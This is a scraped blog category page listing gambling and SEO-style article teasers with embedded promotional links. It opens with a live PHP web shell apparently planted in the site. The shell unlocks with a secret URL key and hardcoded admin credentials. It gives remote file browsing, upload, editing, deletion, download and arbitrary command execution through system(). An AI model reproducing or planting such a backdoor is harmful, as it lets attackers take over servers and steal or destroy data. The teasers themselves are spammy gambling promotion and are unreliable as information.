if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 5 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Gamblezen Casino Review: The Key Questions to Ask Before You Play

    When considering an online casino like Gamblezen, it’s crucial to ask the right questions to ensure a safe and enjoyable gaming experience. This report explores the essential queries players should consider before diving into the world of online gambling at Gamblezen Casino. 1. Is Gamblezen Casino Licensed and Regulated? One of the foremost questions to…

    Click or not…

  • Почему доступность платежей нужно проверять отдельно

    mostbet-kg-mostbet.com Введение Доступность платежей является ключевым аспектом в сфере электронной коммерции и финансовых технологий. В условиях стремительного роста онлайн-торговли и увеличения числа пользователей, которые предпочитают совершать покупки через интернет, важность проверки доступности платежей становится более актуальной, чем когда-либо. В данном отчете мы рассмотрим, почему проверка доступности платежей должна проводиться отдельно, а также основные факторы, которые…

    Click or not…

  • How to Play Keno: Rules, Odds and Payouts Explained

    Keno is a popular lottery-style gambling game often played in casinos and online platforms. It combines elements of chance and strategy, offering players the thrill of potentially winning substantial payouts. This report aims to provide a comprehensive overview of how to play Keno, including its rules, odds, and Zoome Casino payout structure. Understanding the Basics…

    Click or not…

  • Віртуальний спорт: ставки на симульовані події

    Віртуальний спорт — це новий тренд у світі азартних ігор, який набирає популярності серед гравців завдяки своїй доступності та швидкості. Він полягає у ставках на симульовані спортивні події, які генеруються комп’ютерними алгоритмами. Ці події можуть включати в себе різні види спорту, такі як футбол, баскетбол, dailyinsight.net.ua гонки коней та багато інших. У цій статті ми…

    Click or not…

  • Еволюція слотів: як змінювалися ігрові автомати

    Ігрові автомати, або слоти, slottribune.com.ua є однією з найпопулярніших форм азартних ігор у світі. Їхня еволюція почалася в кінці 19 століття і триває до сьогодні. Цей звіт розгляне ключові етапи розвитку слотів, їх технологічні зміни та вплив на ігрову індустрію. Перші слоти з’явилися в 1895 році, коли Чарльз Фей, механік з Сан-Франциско, створив перший автомат…

    Click or not…

  • Способи захисту заощаджень від інфляції в Україні

    Розгляньте можливість інвестування в золото або інші дорогоцінні метали. Ці активи традиційно зберігають свою вартість, коли товарні ціни підвищуються. Золото, https://infobanks.com.ua/ наприклад, за останні роки демонструє стабільність навіть в умовах економічних коливань. Ще одним оптимальним кроком є відкриття рахунків у незалежних валютах, таких як долар США або євро. Оскільки національна валюта схильна до ризиків, тримання…

    Click or not…

  • Тайни та незнані сторінки життя Тараса Шевченка в історії України

    Досліджуючи маловідомі періоди творчості геніального поета, варто звернути увагу на його постійне прагнення до самовираження в різних жанрах. Його мала проза, листи та малюнки часто відображають глибокий внутрішній світ, https://driver.in.ua/ що конкретизує його емоції і думки. Відвідування музеїв та архівів, де зберігаються рукописи та особисті речі, дозволить знайти цікаві факти, які зазвичай залишаються поза увагою.…

    Click or not…

  • Аналіз коефіцієнтів на матч Ліги Чемпіонів для пошуку валуї

    Аналізуючи шанси команд, не забудьте звертати увагу на статистичні дані, такі як форма ігрових колективів, травми гравців та результати попередніх зустрічей. Наприклад, ua-sport.com команда, яка демонструє стабільність, має значно вищі шанси на успіх, тому вигідно робити акцент на їхніх показниках. Перед тим, як обрати, на які команди робити акцент, слід вивчити історію матчів, в яких…

    Click or not…

  • Методи покращення родючості ґрунту для сучасних аграріїв

    Регулярно проводьте тестування складу землі. Знання рівня pH та вмісту поживних речовин допоможе створити ефективний план живлення рослин. Для оптимізації результатів рекомендується проводити аналіз хоча б раз https://agrotis.com.ua/ на рік. Використовуйте органічні добрива. Це може бути компост, гній або сидерати. Органіку не лише збагачує, але й покращує структуру землі, що, в свою чергу, сприяє кращому…

    Click or not…

  • Інтелектуальні навушники для покращення слуху сучасних людей

    Розгляньте можливість використання новітньої технології слухових пристроїв, які мають вбудовані функції адаптивного регулювання звуку. Ці гаджети дозволяють користувачам з легкістю налаштовувати рівень сприйняття різних частот, https://digitalguide.in.ua що робить спілкування з оточуючими максимально комфортним. Обирайте моделі з підтримкою бездротового з’єднання, які взаємодіють із мобільними телефонами чи іншими пристроями. Це не лише забезпечить зручність, а й дасть…

    Click or not…